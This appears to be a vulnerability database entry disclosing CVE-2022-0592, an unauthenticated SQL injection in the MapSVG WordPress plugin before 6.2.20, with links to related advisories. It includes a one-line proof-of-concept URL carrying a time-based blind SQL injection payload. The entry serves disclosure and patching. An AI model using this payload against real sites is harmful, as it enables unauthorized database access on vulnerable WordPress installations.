Lucene search
Brandon James RoldanWPVDB-ID:5D8D53AD-DC88-4B50-A292-FC447484C27BHistoryApr 18, 2022 - 12:00 a.m.
MapSVG < 6.2.20 - Unauthenticated SQLi
2022-04-1800:00:00
Brandon James Roldan
wpscan.com
12
0.002 Low
EPSS
Percentile
57.6%
The plugin does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.
PoC
https://example.com/wp-json/mapsvg/v1/maps/2?id=1' AND (SELECT 42 FROM (SELECT(SLEEP(5)))b)–+
Related
cvelist
cvelist
CVE-2022-0592 MapSVG < 6.2.20 - Unauthenticated SQLi
2022-05-09 16:50:29
prion
prion
Sql injection
2022-05-09 17:15:00
nvd
nvd
CVE-2022-0592
2022-05-09 17:15:08
wpexploit
wpexploit
MapSVG < 6.2.20 - Unauthenticated SQLi
2022-04-18 00:00:00
cve
cve
CVE-2022-0592
2022-05-09 17:15:08
patchstack
patchstack